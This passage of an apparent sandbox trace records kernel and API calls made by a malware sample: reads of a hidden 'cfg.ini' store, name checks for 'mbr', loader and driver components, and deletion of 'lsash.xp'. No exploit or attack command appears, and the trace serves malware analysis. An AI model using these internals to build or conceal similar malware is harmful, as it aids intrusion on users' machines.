out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.557] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.557] IdePortDispatch () returned 0x103 [0120.557] KeWaitForMutexObject () returned 0x0 [0120.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.558] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.558] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.558] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.558] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.558] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.558] KeLeaveCriticalRegion () [0120.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.558] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.558] KeEnterCriticalRegion () [0120.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.558] KeLeaveCriticalRegion () [0120.558] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.558] KeEnterCriticalRegion () [0120.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.558] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.558] IdePortDispatch () returned 0x103 [0120.558] KeWaitForMutexObject () returned 0x0 [0120.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.558] KeLeaveCriticalRegion () [0120.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.558] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.558] KeEnterCriticalRegion () [0120.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349c000 [0120.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.559] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.559] IdePortDispatch () returned 0x103 [0120.559] KeWaitForMutexObject () returned 0x0 [0120.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.559] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.559] IdePortDispatch () returned 0x103 [0120.559] KeWaitForMutexObject () returned 0x0 [0120.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.559] KeLeaveCriticalRegion () [0120.559] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.559] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.560] KeEnterCriticalRegion () [0120.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.560] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.560] KeLeaveCriticalRegion () [0120.560] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.560] KeEnterCriticalRegion () [0120.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.560] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.560] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.560] KeLeaveCriticalRegion () [0120.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.560] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.560] KeEnterCriticalRegion () [0120.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.560] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.560] KeLeaveCriticalRegion () [0120.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.560] ReleaseMutex (hMutex=0xf0) returned 1 [0120.560] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.560] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.560] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.560] KeEnterCriticalRegion () [0120.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.560] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.560] IdePortDispatch () returned 0x103 [0120.560] KeWaitForMutexObject () returned 0x0 [0120.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.560] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.560] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.560] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.560] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.561] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba160 [0120.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.561] KeLeaveCriticalRegion () [0120.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.561] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.561] KeEnterCriticalRegion () [0120.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.561] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.561] KeLeaveCriticalRegion () [0120.561] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.561] KeEnterCriticalRegion () [0120.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.561] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.561] IdePortDispatch () returned 0x103 [0120.561] KeWaitForMutexObject () returned 0x0 [0120.561] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.561] KeLeaveCriticalRegion () [0120.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.561] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.561] KeEnterCriticalRegion () [0120.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.561] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349d000 [0120.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.561] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.561] IdePortDispatch () returned 0x103 [0120.561] KeWaitForMutexObject () returned 0x0 [0120.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.562] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.562] IdePortDispatch () returned 0x103 [0120.562] KeWaitForMutexObject () returned 0x0 [0120.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.562] KeLeaveCriticalRegion () [0120.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.562] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.562] KeEnterCriticalRegion () [0120.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.562] KeLeaveCriticalRegion () [0120.562] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.563] KeEnterCriticalRegion () [0120.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.563] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.563] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.563] KeLeaveCriticalRegion () [0120.563] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.563] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.563] KeEnterCriticalRegion () [0120.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.563] ExFreePoolWithTag (P=0xfffffa8003bba160, Tag=0x0) [0120.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.563] KeLeaveCriticalRegion () [0120.563] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.563] ReleaseMutex (hMutex=0xf0) returned 1 [0120.563] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.563] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.563] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.563] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.563] KeEnterCriticalRegion () [0120.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.563] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.563] IdePortDispatch () returned 0x103 [0120.563] KeWaitForMutexObject () returned 0x0 [0120.563] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.563] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.563] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.563] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.563] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.563] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.563] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.563] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.563] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.563] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.563] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.563] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.563] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.563] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.564] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.564] KeLeaveCriticalRegion () [0120.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.564] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.564] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.564] KeEnterCriticalRegion () [0120.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.564] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.564] IdePortDispatch () returned 0x103 [0120.564] KeWaitForMutexObject () returned 0x0 [0120.564] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.564] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.564] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.564] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.564] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.564] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.564] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.564] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.564] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.564] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.564] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.564] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.564] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.564] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.564] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.564] KeLeaveCriticalRegion () [0120.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.564] ReleaseMutex (hMutex=0x100) returned 1 [0120.564] Sleep (dwMilliseconds=0x2bf20) [0120.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b0ffb30, dwHighDateTime=0x1d24fa4)) [0120.571] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.571] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.571] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.571] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.571] KeEnterCriticalRegion () [0120.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.571] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.571] IdePortDispatch () returned 0x103 [0120.571] KeWaitForMutexObject () returned 0x0 [0120.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.571] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.571] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.571] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.571] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.571] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba720 [0120.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.571] KeLeaveCriticalRegion () [0120.571] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.571] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.571] KeEnterCriticalRegion () [0120.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.571] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.571] KeLeaveCriticalRegion () [0120.571] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.571] KeEnterCriticalRegion () [0120.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.572] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.572] IdePortDispatch () returned 0x103 [0120.572] KeWaitForMutexObject () returned 0x0 [0120.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.572] KeLeaveCriticalRegion () [0120.572] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.572] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.572] KeEnterCriticalRegion () [0120.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a0000 [0120.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.572] IdePortDispatch () returned 0x103 [0120.572] KeWaitForMutexObject () returned 0x0 [0120.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.572] 